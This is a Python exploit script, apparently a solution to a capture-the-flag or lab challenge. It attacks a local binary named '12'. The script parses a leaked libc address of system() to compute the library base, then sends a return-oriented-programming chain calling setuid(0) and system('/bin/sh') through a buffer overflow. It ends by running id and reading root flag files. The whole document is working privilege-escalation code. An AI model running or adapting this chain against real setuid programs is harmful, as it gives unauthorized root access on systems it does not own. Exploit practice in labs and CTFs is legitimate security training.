#!/usr/bin/env python3
import fcntl
import os
import pty
import re
import select
import struct
import subprocess
import sys
import time
import tty

SYSTEM_OFF = 0x4c330
BINSH_OFF = 0x196031
POP_RDI_OFF = 0x27725
RET_OFF = 0x270c2
EXIT_OFF = 0x3e590
SETUID_OFF = 0x0d5370
BIN = '/usr/local/bin/12'


def p64(value: int) -> bytes:
    return struct.pack('<Q', value)


def read_available(fd: int, timeout: float = 2.0) -> bytes:
    end = time.time() + timeout
    data = b''
    while time.time() < end:
        r, _, _ = select.select([fd], [], [], 0.05)
        if not r:
            continue
        try:
            chunk = os.read(fd, 4096)
        except OSError:
            break
        if not chunk:
            break
        data += chunk
        end = time.time() + 0.15
    return data


def main() -> int:
    master, slave = pty.openpty()
    tty.setraw(slave)
    proc = subprocess.Popen([BIN], stdin=slave, stdout=slave, stderr=slave, close_fds=True)
    os.close(slave)

    flags = fcntl.fcntl(master, fcntl.F_GETFL)
    fcntl.fcntl(master, fcntl.F_SETFL, flags | os.O_NONBLOCK)

    banner = read_available(master, 1.0)
    os.write(master, b'2\nsystem\n')
    banner += read_available(master, 1.0)
    if b'Symbol system:' not in banner:
        banner += read_available(master, 2.0)

    match = re.search(rb'Symbol system:\s*(0x[0-9A-Fa-f]+)', banner)
    if not match:
        print('LEAK_FAILED')
        print(banner.decode('latin1', 'ignore'))
        try:
            os.write(master, b'4\n')
        except OSError:
            pass
        return 1

    system = int(match.group(1), 16)
    base = system - SYSTEM_OFF
    pop_rdi = base + POP_RDI_OFF
    ret = base + RET_OFF
    binsh = base + BINSH_OFF
    exit_addr = base + EXIT_OFF
    setuid = base + SETUID_OFF

    print(f'LEAK system={system:#x} base={base:#x}', flush=True)

    chain = b''.join([
        b'A' * 8,
        p64(ret),
        p64(pop_rdi),
        p64(0),
        p64(setuid),
        p64(ret),
        p64(pop_rdi),
        p64(binsh),
        p64(system),
        p64(exit_addr),
    ])

    payload = b'3\n' + str(len(chain)).encode() + b'\n' + chain + b'4\n'
    os.write(master, payload)
    output = read_available(master, 1.5)
    os.write(master, b'id\ncat /root/root.txt 2>/dev/null\ncat /root/root.flag 2>/dev/null\ncat /root/flag.txt 2>/dev/null\nexit\n')

    end = time.time() + 8
    while time.time() < end:
        r, _, _ = select.select([master], [], [], 0.1)
        if r:
            try:
                chunk = os.read(master, 4096)
            except OSError:
                break
            if not chunk:
                break
            output += chunk
            end = time.time() + 0.5
        if proc.poll() is not None:
            output += read_available(master, 0.5)
            break

    print(output.decode('latin1', 'ignore'))
    print(f'RC={proc.poll()}')
    return 0


if __name__ == '__main__':
    sys.exit(main())